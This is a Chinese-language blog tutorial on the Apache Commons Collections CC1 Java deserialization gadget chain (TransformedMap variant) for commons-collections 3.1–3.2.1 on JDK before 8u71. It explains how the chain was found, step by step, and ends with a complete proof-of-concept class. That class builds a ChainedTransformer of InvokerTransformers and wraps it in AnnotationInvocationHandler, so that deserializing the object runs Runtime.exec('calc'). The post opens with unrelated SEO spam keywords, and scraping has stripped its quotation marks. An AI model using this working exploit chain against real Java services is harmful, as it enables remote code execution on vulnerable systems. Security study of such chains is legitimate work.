上海汽车网站建设,自己做的网站怎么接入微信,wordpress 云储存,谷雨网页设计作业Java安全 反序列化(3) CC1链-TransformedMap版
本文尝试从CC1的挖掘思路出发#xff0c;理解CC1的实现原理 文章目录 Java安全 反序列化(3) CC1链-TransformedMap版配置jdk版本和源代码配置前记 为什么可以利用一.CC链中的命令执行我们可以尝试一下通过InvokerTransformer.tr…Java安全 反序列化(3) CC1链-TransformedMap版
本文尝试从CC1的挖掘思路出发理解CC1的实现原理 文章目录 Java安全 反序列化(3) CC1链-TransformedMap版配置jdk版本和源代码配置前记 为什么可以利用一.CC链中的命令执行我们可以尝试一下通过InvokerTransformer.transform()执行命令在CC链接口Transformer实现类中我们重点关注几个实现类1.ConstantTransformer实现类2.InvokeTransformer实现类3.ChainedTransformer实现类(链式有想法吗) 现在我们可以通过链式反射调用任意命令 二. CC1挖掘原理分析Poc编写三.CC1完整利用链Poc反思总结 CommonsApache Commons是Apache软件基金会的项目Commons的目的是提供可重用的解决各种实际问题的Java开源代码。 Commons CollectionsJava中有一个Collections包内部封装了许多方法用来对集合进行处理CommonsCollections则是对Collections进行了补充完善了更多对集合处理的方法大大提高了性能。 实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤ 默认情况看不到AnnotationInvocationHandler类的源码是因为jdk中没有sun包下的源码需要手动下载该版本的openjdk源码
jdk版本及sun源码下载链接https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd8888 提取码8888
配置jdk版本和源代码配置
1.解压 jdk1.8.0_65.zip
2.解压jdk8-sun-source.zip 中class.rar中的sun源码 3.替换 jdk1.8.0_65/src/中的sun文件夹
4.idea中添加源代码 可以看到rt.jar包中任意源代码而不是.class反编译文件就是成功了 访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
⾸先在设置在pom.xml环境 dependenciesdependencygroupIdcommons-collections/groupIdartifactIdcommons-collections/artifactIdversion3.2.1/version/dependency/dependencies安装commons-collections成功后环境配置结束
现在正式学习Java反序列化 CC链
前记 为什么可以利用
Apache Commons Collections中有⼀个特殊的接口其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数叫做InvokerTransformer它可通过反射调用类中的方法从而通过一连串的调用而造成命令执行这条链便叫做Commons Collections链简称cc链。
一.CC链中的命令执行
我们的最终的目的是利用CC链来进行RCE
一般执行命令 Runtime.getRuntime().exec(calc);
如此简单简洁但是为什么我们不直接利用了 因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口不可以被序列化 这个过程中不可序列化
所以我们可以通过反射调用来进行反序列化 Class实现了Serialiable接口 可以实现序列化 Class Runtime Class.forName(java.lang.Runtime);Method getRuntime Runtime.getMethod(getRuntime);Runtime runtime (Runtime) getRuntime.invoke(null, null);Method exec Runtime.getMethod(exec, String.class);exec.invoke(runtime, calc);可以通过反射执行任意命令
在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数 我们可以尝试一下通过InvokerTransformer.transform()执行命令
InvokeTransformer构造函数接受三个参数 1.String 函数名 execClass[] 参数类型 String.classObject[] 具体参数值 calc 接受对象对对象执行函数 Runtime rRuntime.getRuntime();new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);仍然可以执行系统命令 在CC链接口Transformer实现类中我们重点关注几个实现类 1.ConstantTransformer实现类 注意和transform传入的Object input的对象无关仅仅返回构造函数Object constantToReturn 的对象这一点很重要后面会应用
2.InvokeTransformer实现类
前面探究过通过反射调用任意的函数
相当于最后加了一个invoke方法调用
3.ChainedTransformer实现类(链式有想法吗)
上篇文章具体调试过跟踪过ChainedTransformer的实现 构造函数接受Transformer[] 数组进行赋值 我们可以简单理解为一个**迭代器 **的 链式的调用 后一个对象.transform(前一个对象的.transform方法返回的对象) 通过这个ChainTransformer实现类可以实现一节更比三节强的观念
通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法而且实现了 对象的传递
现在我们可以通过链式反射调用任意命令 Transformer[] transformersnew Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformernew ChainedTransformer(transformers);chainedTransformer.transform(aaa);注意一点chainedTransformer.transform(aaa);aaa可以替换为任意值
先调用 ConstantTransformer.transform方法覆盖了传入的aaa返回Runtime.class对象和transform传入的Object input的对象无关仅仅返回构造函数Object constantToReturn 的对象回顾一下前面
二. CC1挖掘原理分析Poc编写
现在我们开始分析一下CC1是如何被发现和利用的重点在于学习前人发现的思路
时刻记住我们的目的
这里我们先利用 单个InvokerTransformer Runtime rRuntime.getRuntime();InvokerTransformer invokerTransformer(InvokerTransformer) new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});走一遍流程
我们要利用transform执行任意命令
可以查看什么地方应用了transform 这里偏向测试map
因为Map作为键值对的映射关系可以包含任意类 可以利用的有DefaultedMap,LazyMap,TransformedMap
这里我们探究一下TransformedMap其他下篇文章写
在TransformedMap中的protected方法代表仅能被自身调用checkSetValue传入 我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象 构造函数进行传值但是是protected仅能被自身调用向上寻找 发现decorate的public 静态方法 可以返回 调用 构造方法
参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)
这里和keyTransformer 关系不大可以设为空 Runtime rRuntime.getRuntime();InvokerTransformer invokerTransformer(InvokerTransformer) new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject,Object hashmapnew HashMap();hashmap.put(key,value);TransformedMap.decorate(hashmap,null,invokerTransformer);等价于InvokerTransformer.transform()
现在控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)
查找用法 可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法
而AbstractInput恰好又是TransformedMap的父类 这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口 我们可以通过遍历TransformedMap的Entry实现调用setValue方法 原因因为如果我们遍历TransformedMap的Entry调用setValue子类继承了父类的public方法(setValue)而且实现了对Map.Entry方法的重写可以实现调用setValue方法 调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法便会触发 checkSetValue方法从而触发cc链1
因此编写payload Runtime rRuntime.getRuntime();InvokerTransformer invokerTransformer(InvokerTransformer) new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject,Object hashmapnew HashMap();hashmap.put(key,value);MapObject,Object transformedMap TransformedMap.decorate(hashmap,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);}传入的值是Runtime对象 等价实现InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transformer(Runtime.class)
但是我们如何实现在readObject的时候调用setValue方法
经过寻找我们发现 AnnotationInvocationHandler 1.重写了readobject
2.调用了memberValue.setValue()
而恰好我们可以控制memberValues的值 这不是妥妥的入口类吗
这里接受两个参数Class? extends Annotation type, MapString, Object memberValues
Annotation是Java的注解比如Override重写等
但是我们只能 用反射操作入口类 因为这里没有修饰词默认是default 只能通过在包内访问
分析一下readobject类
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType null;try {annotationType AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException(Non-annotation type in annotation serial stream);}MapString, Class? memberTypes annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still existsObject value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}
}想要走到memberValue.setValue需要走过两个判断 在 遍历memberValues.entrySet()的过程中 String name memberValue.getKey();//获取Map键值Class? memberType memberTypes.get(name);//获取Java注解的类型if (memberType ! null) { Object value memberValue.getValue();MapString, Class? memberTypes annotationType.memberTypes();
获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值 判断不为空即可 我们需要获取注解中存在键值对的注解这里我们可以用 Target Target 存在value的键 为了memberType 保证不为空所以将hashmap.put(value,value);设为value
保证Class? memberType memberTypes.get(name);//获取Java注解的类型可以保证memberTypes.get(name)可以获取到值
第二个if判断一定是可以通过的 member一定是存在的 这里setValue的值不可控但是对我们利用完全不影响
虽然这里的setValue方法带一个初始值但我们ConstantTransformer类的transform方法不受参数影响构造方法传入什么就原封不动返回什么
第三次重复了
和传入setValue的值没有关系
我们将InvokerTransformer替换为ChainTransformer
尝试通过反射建构AnnotationInvocationHandler 类 接受Class? extends Annotation type, MapString, Object memberValues
通过反射创建AnnotationInvocationHandler实例 Class annotation Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationDeclaredConstructor annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce annotationDeclaredConstructor.newInstance(Target.class,transformedMap);对annotationInstantce进行序列化后反序列化后执行命令 成功手写CC1链的Poc
三.CC1完整利用链Poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {//Runtime.getRuntime().exec(calc);
// Class Runtime Class.forName(java.lang.Runtime);
// Method getRuntime Runtime.getMethod(getRuntime);
// Runtime runtime (Runtime) getRuntime.invoke(null, null);
// Method exec Runtime.getMethod(exec, String.class);
// exec.invoke(runtime, calc);
// Runtime rRuntime.getRuntime();
// new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);Transformer[] transformersnew Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,new Class[0]}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformernew ChainedTransformer(transformers);
// ChainedTransformer chainedTransformer (ChainedTransformer) chainedTransformer.transform(aaa);
// Runtime rRuntime.getRuntime();
// InvokerTransformer invokerTransformer(InvokerTransformer) new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject,Object hashmapnew HashMap();hashmap.put(value,value);MapObject,Object transformedMap TransformedMap.decorate(hashmap,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);Class annotation Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationDeclaredConstructor annotation.getDeclaredConstructor(Class.class,Map.class);annotationDeclaredConstructor.setAccessible(true);Object annotationInstantce annotationDeclaredConstructor.newInstance(Target.class,transformedMap);serialize(annotationInstantce);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(newFileOutputStream(ser.bin));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(newFileInputStream(ser.bin));ois.readObject();ois.close();}}
以后遇到其他类似题就可以参考Poc了
反思总结
核心概念
入口类必须重写readObject通过不同类的同名方法进行跳转连接
下一篇我们从LazyMap出发实现RCE